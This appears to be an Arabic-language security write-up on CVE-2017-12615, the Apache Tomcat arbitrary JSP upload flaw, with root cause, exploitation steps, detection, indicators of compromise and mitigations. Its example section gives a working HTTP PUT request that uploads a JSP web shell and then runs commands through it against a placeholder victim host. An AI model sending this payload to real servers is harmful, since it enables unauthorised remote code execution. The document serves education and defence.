CVE-2017-12615 - تنفيذ التعليمات البرمجية عن بُعد (RCE) في Apache Tomcat

CVE-2017-12615 هي ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) تؤثر على Apache Tomcat 7.0.0 حتى 7.0.79 على Microsoft Windows عندما تكون طلبات HTTP PUT مفعّلة.

توجد الثغرة لأن Tomcat يعالج ملفات JSP المرفوعة بشكل غير صحيح عندما يتم تكوين DefaultServlet مع تعيين المعامل readonly إلى false. في ظل هذه الظروف، يمكن لمهاجم غير مصادَق رفع ملف JSP خبيث مباشرة إلى خادم الويب وتنفيذ كود Java تعسفي بمجرد طلب الملف المرفوع.

أصبحت هذه الثغرة واحدة من أكثر مشكلات RCE شهرة في Tomcat بسبب سهولة استغلالها ضد الخوادم غير المضبوطة بشكل صحيح.

---

الإصدارات المتأثرة

• Apache Tomcat 7.0.0 - 7.0.79
• تثبيتات Microsoft Windows
• تمكين طريقة HTTP PUT
• ضبط readonly="false" على DefaultServlet

---

الخطورة

المقياس	القيمة
CVE	CVE-2017-12615
CVSS v3	8.1 (عالية)
متجه الهجوم	الشبكة
الصلاحيات المطلوبة	لا شيء
تفاعل المستخدم	لا شيء
التأثير	تنفيذ التعليمات البرمجية عن بُعد

---

السبب الجذري

في الوضع الطبيعي، يمنع Apache Tomcat المستخدمين من رفع ملفات JSP القابلة للتنفيذ.

ومع ذلك، عندما:

• تكون طلبات HTTP PUT مفعّلة
• يكون DefaultServlet قابلاً للكتابة (readonly=false)
• يعمل Tomcat على Windows

يمكن للمهاجم رفع ملف JSP مباشرة إلى جذر الويب.

وبمجرد رفع الملف، يؤدي طلب ملف JSP هذا إلى قيام Tomcat بتجميعه وتنفيذه، مما يسمح بتنفيذ كود Java تعسفي بصلاحيات خدمة Tomcat.

---

سير الهجوم

Attacker
    │
    │ HTTP PUT
    ▼
Uploads malicious JSP shell
    │
    ▼
Tomcat stores file
    │
    │ HTTP GET
    ▼
Requests uploaded JSP
    │
    ▼
Tomcat compiles JSP
    │
    ▼
Java code executes
    │
    ▼
Remote Code Execution

---

عملية الاستغلال

عادة ما يتبع الهجوم الخطوات التالية:

1. تحديد مثيل Tomcat ضعيف.
2. التحقق من أن طلبات HTTP PUT مسموحة.
3. رفع قشرة ويب خبيثة بامتداد .jsp.
4. طلب ملف JSP المرفوع.
5. تنفيذ أوامر نظام عشوائية.
6. إنشاء قشرة عكسية أو نشر حمولات إضافية.

لا يتطلب الأمر أي مصادقة إذا كان الخادم ضعيفًا.

---

مثال على الطلب

مثال على طلب HTTP PUT:

PUT /shell.jsp HTTP/1.1
Host: victim.com
Content-Type: application/octet-stream

<%@ page import="java.io.*" %>
<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>

إذا نجح الطلب، يستجيب الخادم بما يلي:

HTTP/1.1 201 Created

يمكن بعد ذلك تنفيذ الحمولة عبر زيارة:

http://victim.com/shell.jsp?cmd=whoami

---

مثال على الاكتشاف

طريقة بسيطة لتحديد الأنظمة الضعيفة هي محاولة رفع ملف JSP اختباري غير ضار:

PUT /test.jsp

الاستجابات المحتملة تشمل:

201 Created

أو

204 No Content

إذا كان من الممكن استرداد الملف المرفوع لاحقًا عبر HTTP، فمن المرجح أن الخادم ضعيف.

---

التأثير

الاستغلال الناجح يسمح للمهاجم بـ:

• تنفيذ أوامر نظام تشغيل عشوائية
• رفع قشور ويب دائمة
• الحصول على قشور عكسية
• نشر برمجيات خبيثة أو برمجيات فدية
• سرقة المعلومات الحساسة
• التنقل بعمق أكبر داخل الشبكات الداخلية
• اختراق خادم Tomcat المتأثر بالكامل

---

مؤشرات الاختراق

يجب على فرق الأمن التحقق من:

• طلبات HTTP PUT غير متوقعة
• ملفات .jsp منشأة حديثًا
• قشور ويب غير معروفة
• عمليات فرعية مشبوهة أنشأها Tomcat
• اتصالات شبكة لقشور عكسية
• نشاط غير معتاد داخل جذر ويب Tomcat

---

التخفيف

تشمل إجراءات التخفيف الموصى بها:

• ترقية Apache Tomcat إلى إصدار مصحح.
• تعطيل HTTP PUT إلا عند الحاجة المطلقة.
• التأكد من أن DefaultServlet يستخدم readonly="true".
• تقييد صلاحيات الرفع.
• مراقبة إنشاء ملفات JSP غير متوقعة.
• نشر جدار حماية لتطبيقات الويب (WAF).
• مراجعة سجلات وصول Tomcat بانتظام بحثًا عن طلبات PUT مشبوهة.

---

الملخص الفني

الخاصية	القيمة
الثغرة	رفع ملف JSP تعسفي
CWE	CWE-434 - رفع غير مقيد لملف بنوع خطير
المصادقة المطلوبة	لا
تعقيد الاستغلال	منخفض في التكوينات الضعيفة
النتيجة	تنفيذ التعليمات البرمجية عن بُعد
المنصة	Windows
الخدمة	Apache Tomcat

---

المراجع

• قاعدة بيانات الثغرات الوطنية NIST (NVD)
• النشرات الأمنية لـ Apache Tomcat
• سجل CVE: CVE-2017-12615

---

إخلاء المسؤولية

هذا المستودع مخصص حصريًا للأغراض التعليمية وبحوث الأمن الدفاعي واختبار الاختراق المصرح به. لا تستخدم هذه المعلومات ضد أي أنظمة دون إذن صريح.